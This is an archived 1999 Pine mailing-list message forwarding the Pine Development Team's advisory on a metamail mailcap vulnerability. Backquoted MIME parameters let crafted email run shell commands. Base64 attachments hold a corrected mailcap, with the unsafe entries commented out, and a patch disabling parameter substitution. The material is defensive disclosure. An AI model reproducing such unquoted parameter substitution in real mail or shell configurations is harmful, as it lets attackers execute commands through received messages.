1999 13:36:55 -0800 Message-Id: Date: Thu, 11 Feb 1999 13:38:23 -0800 (Pacific Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Terry Gray To: Pine Discussion Forum Subject: So-called "remote exploit in pine" (fwd) MIME-Version: 1.0 Content-Type: MULTIPART/Mixed; BOUNDARY="4100290-15032-918699671=:-197051" Content-ID: X-Sender: PINE-ANNOUNCE-owner@u.washington.edu X-To: pine-announce@cac.washington.edu X-X-Sender: gray@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --4100290-15032-918699671=:-197051 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: fyi -teg ---------- Forwarded message ---------- Date: Wed, 10 Feb 1999 18:21:11 -0800 (Pacific Standard Time) From: Pine Development Team To: BUGTRAQ@netspace.org Organization: University of Washington; Computing & Communications Subject: So-called "remote exploit in pine" Many of you have inquired about a recent widely-distributed message describing a "remote exploit in pine", specifically, a "vunerability in metamail package used with pine" and a claim that the '`' character "is incorrectly expanded by pine". We believe the following to be true: o There is indeed a vulnerability in the default *mailcap* file distributed with the popular metamail MIME-support package. o This same mailcap file has in the past been included in Pine distributions as a sample; however, this sample file is not used by Pine unless it is manually installed and renamed. o While the metamail package *can* be used with Pine, Pine does not *require* the installation of metamail. o If a site chooses to install metamail, they should definitely expunge the dangerous entries from the default mailcap file. Such a corrected mailcap file is attached. o If correcting the system mailcap file is not immediately possible, users may wish to set Pine's "mailcap-search-path" variable to a personal mailcap file path. (See Pine's Main/Setup/Config screen.) o Everyone should beware of offered workarounds in the form of Pine patches that simply insert the shell-escape character before any substituted back-quotes, as this only results in moving the problem down one level of shell-nesting. o PC-Pine users are not vulnerable to these dangerous mailcap entries. We do not agree that the '`' character "is incorrectly expanded by pine". Rather, we believe that Pine correctly implements RFC-1524. However, it is possible to modify Pine to preclude mailcap parameter substitution and thereby avoid mailcap risks at sites where faulty mailcap files may be installed. A patch to do this is attached. Obviously, this patch will also break any legitimate mailcap entries that depend on parameter substitution. While one could modify Pine to guard against the particular exploit permitted by the mailcap entries in question, it is very difficult to conceive of a truly safe "paranoid mode" other than disabling parameter substitution entirely. However, we suspect most people will find it far easier to remove any unsafe entries from their mailcap configuration file. Sincerely, Pine Development Team University of Washington --4100290-15032-918699671=:-197051 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="mailcap.sample" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME="mailcap.sample" IyBUaGlzIGlzIGEgc2FtcGxlIG1haWxjYXAgZmlsZSBiYXNlZCBvbiB0aGUg c2FtcGxlIG1haWxjYXAgZmlsZQ0KIyBjb250YWluZWQgaW4gdGhlIG1ldGFt YWlsIGRpc3RyaWJ1dGlvbiAodmVyc2lvbiAyLjcpIGZyb20gQmVsbGNvcmUu DQojIFRoaXMgc2FtcGxlIGlzIGZvciBhIFVuaXggc3lzdGVtLiAgTG9vayBh dCB0aGUgb3JpZ2luYWwgc2FtcGxlIGZyb20NCiMgdGhlIG1ldGFtYWlsIGRp c3RyaWJ1dGlvbiBmb3IgbW9yZSBpZGVhcy4gIFRoaXMgaXMgYSBzaW1wbGlm aWVkIHZlcnNpb24NCiMgdG8gZXhwbGFpbiBob3cgaXQgd29ya3Mgd2l0aCBQ aW5lLiAgQXMgb2YgT2N0b2JlciwgMTk5NCwgbWV0YW1haWwgd2FzDQojIGF2 YWlsYWJsZSB2aWEgYW5vbnltb3VzIGZ0cCBmcm9tIHRoZSBob3N0IHRodW1w ZXIuYmVsbGNvcmUuY29tIGluIHRoZQ0KIyBmaWxlIC9wdWIvbnNiL21tMi43 LnRhci5aLg0KIw0KIyBNZXRhbWFpbCBpczoNCiMgQ29weXJpZ2h0IChjKSAx OTkxIEJlbGwgQ29tbXVuaWNhdGlvbnMgUmVzZWFyY2gsIEluYy4gKEJlbGxj b3JlKQ0KIyANCiMgUGVybWlzc2lvbiB0byB1c2UsIGNvcHksIG1vZGlmeSwg YW5kIGRpc3RyaWJ1dGUgdGhpcyBtYXRlcmlhbCANCiMgZm9yIGFueSBwdXJw b3NlIGFuZCB3aXRob3V0IGZlZSBpcyBoZXJlYnkgZ3JhbnRlZCwgcHJvdmlk ZWQgDQojIHRoYXQgdGhlIGFib3ZlIGNvcHlyaWdodCBub3RpY2UgYW5kIHRo aXMgcGVybWlzc2lvbiBub3RpY2UgDQojIGFwcGVhciBpbiBhbGwgY29waWVz LCBhbmQgdGhhdCB0aGUgbmFtZSBvZiBCZWxsY29yZSBub3QgYmUgDQojIHVz ZWQgaW4gYWR2ZXJ0aXNpbmcgb3IgcHVibGljaXR5IHBlcnRhaW5pbmcgdG8g dGhpcyANCiMgbWF0ZXJpYWwgd2l0aG91dCB0aGUgc3BlY2lmaWMsIHByaW9y IHdyaXR0ZW4gcGVybWlzc2lvbiANCiMgb2YgYW4gYXV0aG9yaXplZCByZXBy ZXNlbnRhdGl2ZSBvZiBCZWxsY29yZS4gIEJFTExDT1JFIA0KIyBNQUtFUyBO TyBSRVBSRVNFTlRBVElPTlMgQUJPVVQgVEhFIEFDQ1VSQUNZIE9SIFNVSVRB QklMSVRZIA0KIyBPRiBUSElTIE1BVEVSSUFMIEZPUiBBTlkgUFVSUE9TRS4g IElUIElTIFBST1ZJREVEICJBUyBJUyIsIA0KIyBXSVRIT1VUIEFOWSBFWFBS RVNTIE9SIElNUExJRUQgV0FSUkFOVElFUy4NCiMNCiMgVGhlIG1haWxjYXAg dmlld2VycyBhcmUgdXNlZCBieSBQaW5lIHdoZW4gdmlld2luZyBwaWVjZXMg b2YgYSBtZXNzYWdlDQojIGZyb20gd2l0aGluIHRoZSBhdHRhY2htZW50IHZp ZXdlci4gIFRoYXQgaXMsIHlvdSB0eXBlIHRoZSAiViIgY29tbWFuZA0KIyB3 aGVuIGFscmVhZHkgdmlld2luZyBhIG1lc3NhZ2UuDQojDQojIFBpbmUgZXhw ZWN0cyB0aGUgbWFpbGNhcCBmaWxlIHRvIGJlIGluIC9ldGMvbWFpbGNhcCBv biBVbml4IHN5c3RlbXMuDQojIFVzZXJzIG1heSBvdmVycmlkZSBvciBleHRl bmQgdGhpcyB3aXRoIGEgLm1haWxjYXAgZmlsZSBpbiB0aGVpciBob21lDQoj IGRpcmVjdG9yeS4gIFRoZSBjb250ZW50cyBvZiB0aGF0IHdpbGwgYmUgY29t YmluZWQgd2l0aCAvZXRjL21haWxjYXAuDQojIFVzZXJzIG1heSBvdmVycmlk ZSB0aGlzIHN0YW5kYXJkIFBpbmUgbWFpbGNhcCBwYXRoDQojICgifi8ubWFp bGNhcDovZXRjL21haWxjYXAiKSBieSBkZWZpbmluZyB0aGUgZW52aXJvbm1l bnQgdmFyaWFibGUNCiMgTUFJTENBUFMgdG8gYmUgZXF1YWwgdG8gdGhlIGNv bG9uIHNlcGFyYXRlZCBwYXRoLg0KIw0KIyBPbiBQQydzIChET1Mgb3IgV2lu ZG93cykgdGhlIGZpbGUgTUFJTENBUCBpcyBzZWFyY2hlZCBmb3IgZmlyc3Qg aW4gdGhlDQojIHNhbWUgZGlyZWN0b3J5IHdoZXJlIHRoZSB1c2VyJ3MgUElO RVJDIGlzIGxvY2F0ZWQgYW5kIHRoZW4gaW4gdGhlIHNhbWUNCiMgZGlyZWN0 b3J5IHdoZXJlIFBJTkUuRVhFIGlzIGxvY2F0ZWQuICBUaGUgZmlyc3Qgd291 bGQgYmUgdGhlIHVzZXIncyBwZXJzb25hbA0KIyBvdmVycmlkZSBmaWxlIGFu ZCB0aGUgc2Vjb25kIHRoZSBjb21tb24gZmlsZSB1c2VkIGJ5IGFsbCB1c2Vy cy4gICBVc2Vycw0KIyBtYXkgb3ZlcnJpZGUgdGhpcyBsb2NhdGlvbiBieSBk ZWZpbmluZyB0aGUgZW52aXJvbm1lbnQgdmFyaWFibGUgTUFJTENBUFMNCiMg dG8gYmUgZXF1YWwgdG8gdGhlICpzZW1pY29sb24qIHNlcGFyYXRlZCBwYXRo Lg0KIw0KIyBQaW5lIGRvZXMgbm90IHVzZSB0aGUgImNvbXBvc2U9IiBwb3J0 aW9uIG9mIG1haWxjYXAgZW50cmllcyAoYW5kIGRvZXNuJ3QNCiMgcHJvdmlk ZSBhIGdlbmVyYWwgbWV0aG9kIG9mIGNvbXBvc2luZyBkaWZmZXJlbnQgdHlw ZXMgb2YgbWVzc2FnZXMpLg0KIyBQaW5lIGRvZXNuJ3QgcGF5IGF0dGVudGlv biB0byAiY29waW91c291dHB1dCIsIGJ1dCBhbHdheXMgcGlwZXMgdGhlIG91 dHB1dA0KIyB0byBpdHMgc3RhbmRhcmQgc2Nyb2xsaW5nIHRleHQgd2luZG93 IGlmICJuZWVkc3Rlcm1pbmFsIiBpcyBub3Qgc2V0Lg0KIyBJZiAibmVlZHN0 ZXJtaW5hbCIgaXMgc2V0LCB0aGVuIFBpbmUgc2V0cyB0aGUgdGVybWluYWwg b3IgdGVybWluYWwgd2luZG93DQojIGJhY2sgdG8gdGhlIHN0YXRlIGl0IHdh cyBpbiB3aGVuIFBpbmUgd2FzIHN0YXJ0ZWQgYW5kIGxldHMgdGhlIHZpZXdl ciBydW4uDQojIFdoZW4gdGhlIHZpZXdlciBmaW5pc2hlcywgUGluZSByZXNl dHMgdGhlIHRlcm1pbmFsIGFuZCByZWRyYXdzIHRoZSBzY3JlZW4uDQojIElm IGFueSB1c2VyIGludGVyYWN0aW9uIHdpdGggdGhlIHZpZXdlciBpcyByZXF1 aXJlZCBhbmQgdGhlIHZpZXdlciBydW5zDQojIGluIHRoZSBzYW1lIHRlcm1p bmFsIHdpbmRvdyBhcyBQaW5lLCB0aGVuICJuZWVkc3Rlcm1pbmFsIiBzaG91 bGQgYmUgc2V0Lg0KIyBUaGUgInRlc3Q9IiBjb21tYW5kcyBhcmUgdXNlZCBh cyBkZWZpbmVkIGluIFJGQzE1MjQsIGV4Y2VwdCB0aGF0IHRoZQ0KIyBkYXRh IGZpbGUgaXMgbm90IGF2YWlsYWJsZSB0byB0aGUgdGVzdCBjb21tYW5kLg0K Iw0KIyBTaW5jZSBtYWlsY2FwIGlzIG9ubHkgdXNlZCBmcm9tIHRoZSBhdHRh Y2htZW50IHZpZXdlciwgdGhlIG1lc3NhZ2UgYmVpbmcNCiMgdmlld2VkIHdp bGwgYWx3YXlzIGJlIGEgc2luZ2xlIHBhcnQsIHNvICJtdWx0aXBhcnQiIGVu dHJpZXMgaW4gbWFpbGNhcCBoYXZlDQojIG5vIGVmZmVjdCBvbiBQaW5lLiAg VHlwZSAidGV4dC9wbGFpbiIgd2l0aCAiY2hhcnNldD11c2FzY2lpIiBvciBj aGFyc2V0DQojIG1hdGNoaW5nIHRoZSBjaGFyYWN0ZXItc2V0IHZhcmlhYmxl IGFyZSBpbnRlcmNlcHRlZCBhbmQgZGlzcGxheWVkIGJ5IFBpbmUNCiMgaW4g dGhlIG5vcm1hbCB3YXksIG5vdCBkaXNwbGF5ZWQgYnkgYSBtYWlsY2FwIHZp ZXdlci4gIEJlc2lkZXMgdGhvc2UNCiMgZXhjZXB0aW9ucyBqdXN0IGxpc3Rl ZCwgYWxsIG90aGVyIHR5cGVzIGFuZCBzdWJ0eXBlcyBhcmUgc3ViamVjdCB0 bw0KIyBiZWluZyBkaXNwbGF5ZWQgYnkgYSBtYWlsY2FwIHZpZXdlci4gIElm IG5vIG1hdGNoIGlzIGZvdW5kIGZvciB0eXBlcyB0ZXh0DQojIG9yIG1lc3Nh Z2UsIFBpbmUgd2lsbCBkaXNwbGF5IHRoZW0gaW4gaXRzIHVzdWFsIHdheS4N CiMNCiMgQXMgYSBzcGVjaWFsIGNhc2UsIHRoZSAiaW1hZ2Utdmlld2VyIiB2 YXJpYWJsZSBmcm9tIHRoZSBwaW5lcmMgZmlsZSBpcw0KIyBzdXBwb3J0ZWQg YXMgaWYgYW4gZXh0cmEgZW50cnkgZm9yIHR5cGUgaW1hZ2UvKiBjYW1lIGZp cnN0IGluIHRoZQ0KIyBwZXJzb25hbCBtYWlsY2FwIGZpbGUuICBUaGF0J3Mg Zm9yIGJhY2t3YXJkcyBjb21wYXRpYmlsaXR5Lg0KIw0KIw0KIyBUaGUgZm9s bG93aW5nIGxpbmUgY2F1c2VzIHRoZSB4diBwcm9ncmFtIHRvIGJlIHVzZWQg dG8gZGlzcGxheSBhbGwNCiMgaW1hZ2UgdHlwZXMgaWYgdGhlIERJU1BMQVkg dmFyaWFibGUgaXMgc2V0IChpbmRpY2F0aW5nIHRoZSB1c2VyIGlzDQojIHVz aW5nIFgpLiAgKHh2IGlzIHdyaXR0ZW4gYnkgSm9obiBCcmFkbGV5LCBicmFk bGV5QGNpcy51cGVubi5lZHUuICBUaGVyZQ0KIyBhcmUgYWxzbyBvdGhlciBY IGltYWdlIHZpZXdlciBwcm9ncmFtcyB5b3UgY291bGQgdXNlLCBzdWNoIGFz IHhsb2FkaW1hZ2UuKQ0KaW1hZ2UvKjsgeHYgJXM7IHRlc3Q9dGVzdCAtbiAi JERJU1BMQVkiDQoNCiMgVGhlIGVmZmVjdCBvZiB0aGUgZm9sbG93aW5nIGlz IHRvIHNlbmQgQUxMIGF1ZGlvIHN1YnR5cGVzIHRvIHRoZSANCiMgc2hvd2F1 ZGlvIHByb2dyYW0uICBJZiBwb3NzaWJsZSwgaXQgd291bGQgYmUgZGVzaXJh YmxlIHRvIGFsc28gaW5jbHVkZQ0KIyBhIHRlc3QgY29tbWFuZCB0aGF0IGNv dWxkIGRlY2lkZSB3aGV0aGVyIG9yIG5vdCB0aGUgdXNlciBjb3VsZCBwbGF5 IGF1ZGlvLg0KIyBUaGF0IHdvdWxkIGJlIHNvbWV0aGluZyBsaWtlICJ0ZXN0 PWNhbl9kb19hdWRpbyAldCIuICAoU2hvd2F1ZGlvIGlzIGEgc2hlbGwNCiMg c2NyaXB0IGluY2x1ZGVkIGluIHRoZSBtZXRhbWFpbCBkaXN0cmlidXRpb24u KQ0KYXVkaW8vKjsgc2hvd2F1ZGlvICVzDQoNCiMgKFNob3dleHRlcm5hbCBp cyBhIHNoZWxsIHNjcmlwdCBpbmNsdWRlZCBpbiB0aGUgbWV0YW1haWwgZGlz dHJpYnV0aW9uLikNCm1lc3NhZ2UvZXh0ZXJuYWwtYm9keTsgc2hvd2V4dGVy bmFsICVzICV7YWNjZXNzLXR5cGV9ICV7bmFtZX0gXA0KCSV7c2l0ZX0gJXtk aXJlY3Rvcnl9ICV7bW9kZX0gJXtzZXJ2ZXJ9OyBcDQoJbmVlZHN0ZXJtaW5h bDsgY29tcG9zZXR5cGVkID0gZXh0Y29tcG9zZSAlczsgXA0KCWRlc2NyaXB0 aW9uPSJBIHJlZmVyZW5jZSB0byBkYXRhIHN0b3JlZCBpbiBhbiBleHRlcm5h bCBsb2NhdGlvbiINCg0KIyBJZiB5b3UgaGF2ZSBhbiBpbnRlcmFjdGl2ZSBQ b3N0c2NyaXB0IGludGVycHJldGVyLCB5b3Ugc2hvdWxkIHRoaW5rIGNhcmVm dWxseSANCiMgYmVmb3JlIHJlcGxhY2luZyBscHIgd2l0aCBpdCBpbiB0aGUg Zm9sbG93aW5nIGxpbmUsIGJlY2F1c2UgUG9zdFNjcmlwdA0KIyBjYW4gYmUg YW4gZW5vcm1vdXMgc2VjdXJpdHkgaG9sZS4gIEl0IGlzIFJFTEFUSVZFTFkg aGFybWxlc3MNCiMgd2hlbiBzZW50IHRvIHRoZSBwcmludGVyLi4uDQphcHBs aWNhdGlvbi9wb3N0c2NyaXB0IDsgbHByICVzIFw7IGVjaG8gU0VOVCBGSUxF IFRPIFBSSU5URVIgO1wNCiAgICBkZXNjcmlwdGlvbj0iQSBQb3N0c2NyaXB0 IEZpbGUiOw0KIyB1bnNhZmUgYWx0ZXJuYXRpdmUNCiNhcHBsaWNhdGlvbi9w b3N0c2NyaXB0OyBnc3ByZXZpZXcgJXMgOyAgdGVzdD10ZXN0IC1uICIkRElT UExBWSINCg0KIyBUaGUgZm9sbG93aW5nIGdpdmVzIHJ1ZGltZW50YXJ5IGNh cGFiaWxpdHkgZm9yIHJlY2VpdmluZyANCiMgdGV4dCBtYWlsIGluIHRoZSBJ U08tODg1OS0xIGNoYXJhY3RlciBzZXQsIHdoaWNoIGNvdmVycyBtYW55IEV1 cm9wZWFuIA0KIyBsYW5ndWFnZXMsIGFuZCB0aGUgSVNPLTg4NTktOCBjaGFy YWN0ZXIgc2V0LCB3aGljaCBpbmNsdWRlcyBIZWJyZXcNCiMgTm90ZSB0aGF0 IHRoZSBwaXBlIHRvIHRyIGVuc3VyZXMgdGhhdCB0aGUgIklTTyIgaXMgY2Fz ZS1pbnNlbnNpdGl2ZS4NCiMgKFRoaXMgaXMgYWxzbyBmcm9tIG1ldGFtYWls LikNCiMNCiMjIyMgSG93ZXZlciwgdGhleSBhcmUgY29tbWVudGVkIG91dCBo ZXJlIGFzIHRoZXkgdXNlIGEgInRlc3QiIG1ldGhvZA0KIyMjIyB0aGF0IGNh biBjYXVzZSBtYWxpY2lvdXMgZGF0YSBpbiB0aGUgbWVzc2FnZSdzIGNoYXJz ZXQgcGFyYW1ldGVyDQojIyMjIHRvIGdldCBleGVjdXRlZC4gIEEgYmV0dGVy IGFsdGVybmF0aXZlIHdvdWxkIGJlIHRvIHJlcGxhY2UgdGhlICJ0ZXN0Ig0K IyMjIyBjb21tYW5kIHdpdGggYSBzY3JpcHQgdGhhdCBkb2VzIGEgc2FmZXIg Y2FzZS1pbnNlbnNpdGl2ZSBjb21wYXJpc29uLg0KI3RleHQvcGxhaW47IHNo b3dub25hc2NpaSBpc28tODg1OS04ICVzOyB0ZXN0PXRlc3QgImBlY2hvICV7 Y2hhcnNldH0gfCB0ciAnW0EtWl0nICdbYS16XSdgIiA9IGlzby04ODU5LTgg LWEgLW4gIiRESVNQTEFZIiA7IGNvcGlvdXNvdXRwdXQNCiN0ZXh0L3BsYWlu OyBzaG93bm9uYXNjaWkgaXNvLTg4NTktOCAlcyB8IG1vcmUgOyB0ZXN0PXRl c3QgImBlY2hvICV7Y2hhcnNldH0gfCB0ciAnW0EtWl0nICdbYS16XSdgIiA9 IGlzby04ODU5LTg7IG5lZWRzdGVybWluYWwNCiN0ZXh0L3BsYWluOyBzaG93 bm9uYXNjaWkgaXNvLTg4NTktMSAlczsgdGVzdD10ZXN0ICJgZWNobyAle2No YXJzZXR9IHwgdHIgJ1tBLVpdJyAnW2Etel0nYCIgPSBpc28tODg1OS0xIC1h IC1uICIkRElTUExBWSIgOyBjb3Bpb3Vzb3V0cHV0DQojdGV4dC9wbGFpbjsg c2hvd25vbmFzY2lpIGlzby04ODU5LTEgJXMgfCBtb3JlIDsgdGVzdD10ZXN0 ICJgZWNobyAle2NoYXJzZXR9IHwgdHIgJ1tBLVpdJyAnW2Etel0nYCIgPSBp c28tODg1OS0xIDsgbmVlZHN0ZXJtaW5hbA0KDQojIFRoZSBmb2xsb3dpbmcg ZGlzcGxheXMgSmFwYW5lc2UgdGV4dCBhdCBzaXRlcyB3aGVyZQ0KIyB0aGUg Imt0ZXJtIiBwcm9ncmFtIGlzIGluc3RhbGxlZDoNCiN0ZXh0L3BsYWluOyBr dGVybSAtZ2VvbWV0cnkgKzArMCAtZSBtb3JlICVzIC9kZXYvbnVsbDsgXA0K CXRlc3Q9dGVzdCAiYGVjaG8gJXtjaGFyc2V0fSB8IHRyICdbQS1aXScgJ1th LXpdJ2AiID0gaXNvLTIwMjItanANCg0KIyBUaGlzIG1hcHMgTVBFRyB2aWRl byBkYXRhIHRvIHRoZSB2aWV3ZXIgJ21wZWdfcGxheScuDQojIChNcGVnX3Bs YXkgaXMgcGFydCBvZiB0aGUgTVBFRyBkaXN0cmlidXRpb24gZnJvbSBUaGUg QmVya2VsZXkgUGxhdGVhdQ0KIyBSZXNlYXJjaCBHcm91cCBhbmQgaXMgYXZh aWxhYmxlIHZpYSBhbm9ueW1vdXMgZnRwIGZyb20gdG9lLmNzLmJlcmtlbGV5 LmVkdS4pDQp2aWRlby9tcGVnOyBtcGVnX3BsYXkgJXMgOyB0ZXN0PXRlc3Qg LW4gIiRESVNQTEFZIg0KDQojIFRoaXMgbWFwcyBhbGwgb3RoZXIgdHlwZXMg b2YgdmlkZW8gdG8gdGhlIHhhbmltIHZpZXdlci4gIChYYW5pbSBpcyB3cml0 dGVuDQojIGJ5IE1hcmsgUG9kbGlwZWMsIHBvZGxpcGVjQHdlbGxmbGVldC5j b20uKQ0KdmlkZW8vKjsgeGFuaW0gJXMgOyB0ZXN0PXRlc3QgLW4gIiRESVNQ TEFZIg0KDQojIFRoZSB4ZHZpIHByb2dyYW0gZGlzcGxheSBUZVggZHZpIGZp bGVzIG9uIGFuIFggc2VydmVyLg0KYXBwbGljYXRpb24veC1kdmk7IHhkdmkg JXMgOyAgdGVzdD10ZXN0IC1uICIkRElTUExBWSINCg0KIyBUeXBlIG9jdGV0 LXN0cmVhbSAoYmluYXJ5KSBkYXRhIGNhbiBiZSBkaXNwbGF5ZWQgYXMgYSBo ZXggZHVtcCBiZWZvcmUNCiMgeW91IGRlY2lkZSB3aGV0aGVyIG9yIG5vdCB5 b3Ugd2FudCB0byBzYXZlIGl0IHRvIGEgZmlsZS4gIChIZCBpcyBqdXN0DQoj IGEgc3RhbmRhcmQgaGV4IGR1bXAgcHJvZ3JhbS4gIFlvdSBjb3VsZCB1c2Ug Im9kIiBpZiB5b3UgZG9uJ3QgaGF2ZSBhbg0KIyAiaGQiLiAgTmFpdmUgdXNl cnMgbWF5IGZpbmQgdGhlIG91dHB1dCBmcm9tIHRoaXMgZW50cnkgY29uZnVz aW5nLikNCmFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbTsgaGQ7IGNvcGlvdXNv dXRwdXQ7IGRlc2NyaXB0aW9uPSJIZXggZHVtcCBvZiBkYXRhIg0K --4100290-15032-918699671=:-197051 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="pine4.10.param.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME="pine4.10.param.patch" KioqIC4vcGluZS9pbml0LmMub3JpZwlUdWUgSmFuIDI2IDExOjU3OjU2IDE5 OTkNCi0tLSAuL3BpbmUvaW5pdC5jCVR1ZSBGZWIgIDkgMTk6MjM6MDYgMTk5 OQ0KKioqKioqKioqKioqKioqDQoqKiogMTc5MSwxNzk2ICoqKioNCi0tLSAx NzkxLDE3OTggLS0tLQ0KICAJIEZfUVVFTExfUEFSVElBTF9GRVRDSCwgTk9f SEVMUCwgUFJFRl9OT05FfSwNCiAgCXsic2F2ZS1hZ2dyZWdhdGVzLWNvcHkt c2VxdWVuY2UiLA0KICAJIEZfQUdHX1NFUV9DT1BZLCBOT19IRUxQLCBQUkVG X05PTkV9LA0KKyAJeyJlbmFibGUtbWFpbGNhcC1wYXJhbS1zdWJzdGl0dXRp b24iLA0KKyAJIEZfRE9fTUFJTENBUF9QQVJBTV9TVUJTVCwgTk9fSEVMUCwg UFJFRl9OT05FfSwNCiAgCXsidGVybWRlZi10YWtlcy1wcmVjZWRlbmNlIiwN CiAgCSBGX1RDQVBfV0lOUywgTk9fSEVMUCwgUFJFRl9OT05FfQ0KICAgICAg fTsNCioqKiAuL3BpbmUvbWFpbGNhcC5jLm9yaWcJV2VkIE5vdiAxOCAxMDow MDoxNSAxOTk4DQotLS0gLi9waW5lL21haWxjYXAuYwlUdWUgRmViICA5IDE5 OjIzOjQwIDE5OTkNCioqKioqKioqKioqKioqKg0KKioqIDczOSw3NDUgKioq Kg0KICAgICAgZHByaW50KDUsIChkZWJ1Z2ZpbGUsICItIG1jX3Bhc3Nlc190 ZXN0IC1cbiIpKTsNCiAgDQogICAgICBpZihtYy0+dGVzdGNvbW1hbmQgJiYg Km1jLT50ZXN0Y29tbWFuZCkNCiEgCWNtZCA9IG1jX2JsZF90ZXN0X2NtZCht Yy0+dGVzdGNvbW1hbmQsIHR5cGUsIHN1YnR5cGUsIHBhcmFtcyk7DQogICAg ICANCiAgICAgIGlmKCFtYy0+dGVzdGNvbW1hbmQgfHwgIWNtZCB8fCAhKmNt ZCl7DQogIAlpZihjbWQpDQotLS0gNzM5LDc0NiAtLS0tDQogICAgICBkcHJp bnQoNSwgKGRlYnVnZmlsZSwgIi0gbWNfcGFzc2VzX3Rlc3QgLVxuIikpOw0K ICANCiAgICAgIGlmKG1jLT50ZXN0Y29tbWFuZCAmJiAqbWMtPnRlc3Rjb21t YW5kKQ0KISAJaWYoIShjbWQgPSBtY19ibGRfdGVzdF9jbWQobWMtPnRlc3Rj b21tYW5kLCB0eXBlLCBzdWJ0eXBlLCBwYXJhbXMpKSkNCiEgCSAgcmV0dXJu KEZBTFNFKTsJLyogY291bGRuJ3QgYmUgYnVpbHQgKi8NCiAgICAgIA0KICAg ICAgaWYoIW1jLT50ZXN0Y29tbWFuZCB8fCAhY21kIHx8ICEqY21kKXsNCiAg CWlmKGNtZCkNCioqKioqKioqKioqKioqKg0KKioqIDc5NCw4MDAgKioqKg0K ICAgICAgaWYobmVlZHN0ZXJtKQ0KICAgICAgICAqbmVlZHN0ZXJtID0gbWMt Pm5lZWRzdGVybWluYWw7DQogIA0KISAgICAgY29tbWFuZCA9IG1jX2NtZF9i bGRyKG1jLT5jb21tYW5kLCB0eXBlLCBzdWJ0eXBlLCBwYXJhbXMsIHRtcF9m aWxlKTsNCiAgDQogICAgICBkcHJpbnQoNSwgKGRlYnVnZmlsZSwgImJ1aWx0 IGNvbW1hbmQ6ICVzXG4iLCBjb21tYW5kKSk7DQogIA0KLS0tIDc5NSw4MDIg LS0tLQ0KICAgICAgaWYobmVlZHN0ZXJtKQ0KICAgICAgICAqbmVlZHN0ZXJt ID0gbWMtPm5lZWRzdGVybWluYWw7DQogIA0KISAgICAgaWYoIShjb21tYW5k ID0gbWNfY21kX2JsZHIobWMtPmNvbW1hbmQsIHR5cGUsIHN1YnR5cGUsIHBh cmFtcywgdG1wX2ZpbGUpKSkNCiEgICAgICAgY29tbWFuZCA9IGNweXN0cigi Iik7DQogIA0KICAgICAgZHByaW50KDUsIChkZWJ1Z2ZpbGUsICJidWlsdCBj b21tYW5kOiAlc1xuIiwgY29tbWFuZCkpOw0KICANCioqKioqKioqKioqKioq Kg0KKioqIDg3MSw4NzYgKioqKg0KLS0tIDg3Myw4ODQgLS0tLQ0KICAJCWJy ZWFrOw0KICANCiAgCSAgICAgIGNhc2UgJ3snOgkJCS8qIGluc2VydCByZXF1 ZXN0ZWQgTUlNRSBwYXJhbSAqLw0KKyAJCWlmKEZfT0ZGKEZfRE9fTUFJTENB UF9QQVJBTV9TVUJTVCwgcHNfZ2xvYmFsKSl7DQorIAkJICAgIGRwcmludCgy LA0KKyAJCQkgICAoZGVidWdmaWxlLCAibWNfY21kX2JsZHI6IHBhcmFtIHN1 YnMgJXNcbiIsIGZyb20pKTsNCisgCQkgICByZXR1cm4oTlVMTCk7DQorIAkJ fQ0KKyANCiAgCQlzID0gc3RyaW5kZXgoZnJvbSwgJ30nKTsNCiAgCQlpZigh cyl7DQogIAkJICAgIHFfc3RhdHVzX21lc3NhZ2UxKFNNX09SREVSLCAwLCA0 LA0KKioqKioqKioqKioqKioqDQoqKiogOTU2LDk2MiAqKioqDQogICAgICAg IHNwcmludGYodG8sIE1DX0FERF9UTVAsIHRtcF9maWxlKTsNCiAgDQogICAg ICByZXR1cm4oY3B5c3RyKHRtcF8yMGtfYnVmKSk7DQohIH0gDQogIA0KICAN CiAgLyoNCi0tLSA5NjQsOTcwIC0tLS0NCiAgICAgICAgc3ByaW50Zih0bywg TUNfQUREX1RNUCwgdG1wX2ZpbGUpOw0KICANCiAgICAgIHJldHVybihjcHlz dHIodG1wXzIwa19idWYpKTsNCiEgfQ0KICANCiAgDQogIC8qDQoqKiogLi9w aW5lL3BpbmUuaC5vcmlnCVRodSBKYW4gMjggMTY6NTI6MDAgMTk5OQ0KLS0t IC4vcGluZS9waW5lLmgJVHVlIEZlYiAgOSAxOToyMzoyMSAxOTk5DQoqKioq KioqKioqKioqKioNCioqKiA4ODYsODkxICoqKioNCi0tLSA4ODYsODkyIC0t LS0NCiAgCUZfU0hPV19URVhUUExBSU5fSU5ULA0KICAJRl9ST0xFX0NPTkZJ Uk1fREVGQVVMVCwNCiAgCUZfTk9fRkNDX0FUVEFDSCwNCisgCUZfRE9fTUFJ TENBUF9QQVJBTV9TVUJTVCwNCiAgI2lmZGVmCUVOQUJMRV9MREFQDQogIAlG X0FERF9MREFQX1RPX0FCT09LLA0KICAjZW5kaWYNCg== --4100290-15032-918699671=:-197051-- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 11 Feb 1999 20:05:23 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA10809 for ; Thu, 11 Feb 1999 20:05:22 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA15272; Thu, 11 Feb 1999 20:05:20 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id UAA09340; Thu, 11 Feb 1999 20:03:04 -0800 Received: from mxu2.u.washington.edu 